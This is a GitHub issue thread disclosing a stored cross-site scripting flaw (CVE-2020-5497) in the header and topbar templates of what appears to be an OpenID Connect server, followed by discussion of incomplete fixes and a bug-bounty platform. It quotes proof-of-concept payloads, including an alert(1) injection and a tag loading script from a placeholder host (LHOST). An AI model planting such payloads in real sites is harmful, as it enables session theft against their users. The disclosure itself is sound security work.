Cross-Site Scripting header.tag

[irbishop]

header.tag appears to be vulnerable to XSS here:

		// get the info of the current user, if available (null otherwise)
    	function getUserInfo() {
    		return ${userInfoJson};
    	}

userInfoJson is included in the page and is not encoded so malicious elements could be created. If the string </script> appears in userInfoJson, the <script> element will be closed
and a new malicious <script> can be created:

        // get the info of the current user, if available (null otherwise)
    	function getUserInfo() {
    		return {"sub":"12318767","name":"Test</script><script>alert(1)</script> Test","preferred_username":"Test","given_name":"Test</script><script>alert(1)</script>","family_name":"Test","email":"[email protected]","email_verified":true};
    	}

And the malicious JavaScript is executed:

[irbishop]

Turns out the values are displayed other places as well and the closing </script> is not necessary as it will show up like:

	                <!--  use a simplified user button system when collapsed -->
	                <ul class="nav hidden-desktop">
	                    
						<li><a href="manage/#user/profile">Test<script src=//LHOST/openid.js></script> Test</a></li>
						<li class="divider"></li>
						<li><a href="" class="logoutLink"><i class="icon-remove"></i> Log out</a></li>

[NicoleG25]

Is there any plan to address this vulnerability?
Note that it appears that CVE-2020-5497 was assigned to this issue.

@jricher

[jricher]

This should be simple to fix in the class UserInfoInterceptor, but a quick search didn't show me how to handle escaping characters in a safe way. Glad to take a pointer or a pull request for this.

[jricher]

This seems to have been fixed by #1526 , please confirm

[irbishop]

It doesn't appear to be a proper fix ... userInfoJson is broken and appears as:

Which seems to break the profile page that uses that information.

It also doesn't address the instances that appear in topbar.tag:

A script tag still appears in the longName:

[JamieSlome]

We have looked into both proposed fixes (#1527 & #1526) - it would seem that we both escape the scaffolding of the JSON rather than just the content of the individual elements/properties.

@irbishop If you would like to submit an alternative fix through our platform (https://huntr.dev) - we would love to reward you for this!

[JamieSlome]

@irbishop - any updates on this?

@jricher - we had an open pull request that was approved (#1526) - but we are encouraging better solutions through the bug bounty board - huntr.

[irbishop]

@JamieSlome - I submitted my patch #1527 but never heard anything except the invitation to submit through the bug bounty board. After looking at the board I decided against signing up because it required read/write access for pretty much everything related to all public repos, e.g. hooks and deployment keys; seemed overly permissive

[JamieSlome]

@irbishop - thanks for the swift response & update! ⚡

We request the public scope so that we can fork a repository on behalf of the user - through the bug bounty platform.

Beyond this, we do not store nor use any of the other functionalities in the public scope. Unfortunately, GitHub does not offer a lesser scope that provides only write access (i.e. forking a repo only).

Hope this helps! 👍

[NicoleG25]

Hi, was this issue already addressed ? please note that it was assigned CVE-2020-5497
@jricher , @JamieSlome